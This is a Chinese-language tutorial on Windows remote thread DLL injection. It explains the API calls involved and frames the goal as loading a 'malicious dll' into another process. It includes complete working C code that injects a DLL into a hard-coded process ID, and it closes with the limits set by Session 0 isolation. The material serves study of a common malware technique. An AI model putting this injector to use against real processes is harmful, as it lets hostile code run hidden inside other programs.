远线程注入是指一个进程在另一个进程中创建线程的技术。
打开现有的本地进程对象。
HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );
参数
dwDesiredAccess:对进程对象的访问权限,本程序中使用PROCESS_ALL_ACCESS。
bInheritHandle:若此值为TRUE,则此进程创建的进程将继承该句柄。在本程序中设置为FALSE。
dwProcessId:要打开的本地进程的PID。
返回值
若成功,返回值是指定进程的打开句柄。
若失败,返回值为NULL。
在指定进程的虚拟地址空间内保留、提交或更改内存的状态。
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect );
参数
hProcess:指定进程的句柄。
lpAddress:指定要分配页面所需起始地址的指针。若为NULL,则函数自动分配内存。
dwSize:要分配的内存大小,以字节为单位。
flAllocationType:内存分配类型。MEM_COMMIT:在磁盘的分页文件和整体内存中,为指定的预留内存页分配内存。
flProtect:要分配的页面区域的内存保护。本程序中是PAGE_READWRITE。
返回值
若成功,则返回值是分配页面的基址。
若失败,返回NULL。
在指定的进程中将数据写入内存区域,要写入的整个区域必须可访问,否则操作失败。
BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );
参数
hProcess:要修改的进程内存的句柄。
lpBaseAddress:指向指定进程中写入数据的基地址指针。本程序中,就是VirtualAllocEx函数的返回值。
lpBuffer:指向缓冲区的指针,其中包含要写入指定进程的地址空间中的数据。本程序中,是dll文件的绝对路径。
nSize:要写入指定进程的字节数。
lpNumberOfBytesWritten:指向变量的指针,该变量接收传输到指定进程的字节数。可设置为NULL来忽略该参数。
返回值
若成功,则返回值不为0。
若失败,则返回值为0。
检索指定模块的模块句柄。模块必须已被调用进程加载。
HMODULE GetModuleHandleW( LPCWSTR lpModuleName );
参数
lpModuleName:加载模块的名称(.dll 或 .exe 文件)。
返回值
如果函数成功,则返回值是指定模块的句柄。
如果函数失败,则返回值为 NULL。
从指定的动态链接库 (DLL) 中检索导出函数或变量的地址。
FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );
参数
hModule:包含函数或变量的 DLL 模块的句柄。LoadLibrary,LoadLibraryEx,LoadPackagedLibrary以及GetModuleHandle函数返回该句柄。
lpProcName:函数或变量名称,或函数的序数值。本程序中为"LoadLibraryA"。
返回值
如果函数成功,则返回值是导出的函数或变量的地址。
如果函数失败,则返回值为 NULL。
在另一个进程的虚拟地址空间中创建运行的线程。
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
参数
hProcess:要创建线程的进程的句柄。
lpThreadAttributes:指向SECURITY_ATTRIBUTES结构的指针,该 结构为新线程指定安全描述符并确定子进程是否可以继承返回的句柄。如果lpThreadAttributes为 NULL,则线程获得一个默认的安全描述符并且句柄不能被继承。本程序中该参数为NULL。
dwStackSize:堆栈的初始大小,以字节为单位。如果此参数为0,则新线程使用可执行文件的默认大小。
lpStartAddress:指向由线程执行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示远程进程中线程的起始地址,该函数必须存在于远程进程中。本程序中,就是LoadLibraryA函数的地址。
lpParameter:指向要传递给线程函数的变量的指针。本程序中,就是要注入的dll文件的绝对路径,就是VirtualAllocEx函数的返回值(因为WriteProcessMemory函数将dll文件的绝对路径写入了VirtualAllocEx函数开辟的虚拟地址空间)。
dwCreationFlags:控制线程创建的标志。若是0,则表示线程在创建后立即运行。本程序中是0。
lpThreadId:指向接收线程标识符的变量的指针。若此参数为NULL,则不返回线程标识符。本程序中为NULL。
返回值
若成功,则返回值是新线程的句柄。
若失败,则返回值为NULL。
首先看LoadLibrary函数的声明
HMODULE LoadLibraryW( LPCWSTR lpLibFileName );
可以看到,LoadLibrary函数只有一个参数,就是要加载的dll路径字符串。
然后看CreateRemoteThread函数声明
HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
它要传递的是目标进程空间中的多线程函数地址以及多线程参数。
所以,若程序能获取目标进程LoadLibrary函数的地址,以及目标进程空间中恶意dll路径字符串的地址,就可以将LoadLibrary函数的地址作为参数lpStartAddress,恶意dll路径字符串作为参数lpParameter,实现远线程注入。
那么,现在的问题有2个:
目标进程空间中LoadLibrary函数的地址是多少?
如何向目标进程空间中写入恶意dll路径字符串数据?
对于第一个问题,只需要知道kernel32.dll的加载基地址在各个进程中都是相同的,因此自己程序空间的LoadLibrary函数地址和其它进程空间的相同。
对于第二个问题,可以调用VirtualAllocEx函数在目标进程中申请一块内存,然后调用WriteProcessMemory函数将恶意dll的绝对路径写入目标进程空间中即可。
#include <stdio.h> #include <Windows.h> //定义报错函数 void ShowError(char *pszText) { char szErr[MAX_PATH] = { 0 }; ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szErr, "ERROR", MB_OK); } // 使用CreateRemoteThread实现远线程注入 BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName) { HANDLE hProcess = NULL; // OpenProcess返回的进程句柄 DWORD dwSize = 0; LPVOID pDllAddr = NULL; // VirtualAllocEx返回的申请的内存空间地址 FARPROC pFuncProcAddr = NULL; // GetProcAddress返回的函数地址 // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 在注入进程中申请内存 dwSize = 1 + ::lstrlen(pszDllFileName); // 获取dll绝对路径字符串的长度 pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } // 向申请的内存中写入数据 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // 使用CreateRemoteThread创建远线程,实现DLL注入 HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL); if (NULL == hRemoteThread) { ShowError("CreateRemoteThread"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); return TRUE; } int main() { BOOL bRet = CreateRemoteThreadInjectDll(9372, "C:\\Users\\Administrator\\Desktop\\artifact.dll"); if (FALSE == bRet) { printf("Inject Dll Error.\n"); } printf("Inject Dll OK.\n"); system("pause"); return 0; }
此方法无法成功注入到一些系统服务进程,这是由于从Windows Vista 开始,微软为了增强系统的安全性,对系统服务和登录用户进行了会话(Session)隔离,系统服务属于会话0,登录的第一个用户属于会话1,之前系统服务和第一个登录用户都属于会话0。此方法并不能突破SESSION 0隔离。原因是在 CreateRemoteThread 函数中对此进行了检查,如果不在同一会话中,调用 CsrClientCallServer 为新进程进行登记的操作就会失败,这就直接导致了线程创建的失败。